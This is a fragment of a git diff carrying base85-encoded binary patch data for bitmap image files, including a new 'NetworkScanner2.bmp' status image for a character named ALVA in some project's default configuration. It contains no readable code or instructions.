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 literal 0 HcmV?d00001 diff --git a/resources/default_config/characters/ALVA/status/NetworkScanner/NetworkScanner2.bmp b/resources/default_config/characters/ALVA/status/NetworkScanner/NetworkScanner2.bmp new file mode 100644 index 0000000000000000000000000000000000000000..1bed73c6d2b76ba5d3f004f52f6c7a87e721f359 GIT binary patch literal 18462 zcmeI22UrwYw)lN-_w7zJFa~nYG&D3B8k*c>keop>0*Z(zu@gB-6igsU&WMuCq9`gk zC^<(HNT*rSTUlvx6Hev)kL7U&j4Ktn2fmivv}2o!4htFVD4HoNc`{*K%d9 z_3C_E>f8rOn{7>Rc;X z56}P#;IR1$xs$++F3)ymEe_sYUwZomxS!9uy|p&iRXE#}Fb6=})8>Ks?dfn1OWKaC z_hwDMy!5IfYWQ)|YG2mU>+7@aX|t3Dt!Z;WT0noK&9tV0Q_EeM1NReNRYuP=r>%8o zfm3jU4?^x3pd9WVfPQJVF>bEE`U_(E^I0Jd>B@vV5AF{DcXb{F4J?;uT2p5`vK9ub*Ow;0ieD)=+1}pTSbn?q zzI%DRerfRbVo&M(D|oyD=#ActyzmoZOgxEKvZ|UpuNK@^5;d}rk{PW_dEb0>qCVx# 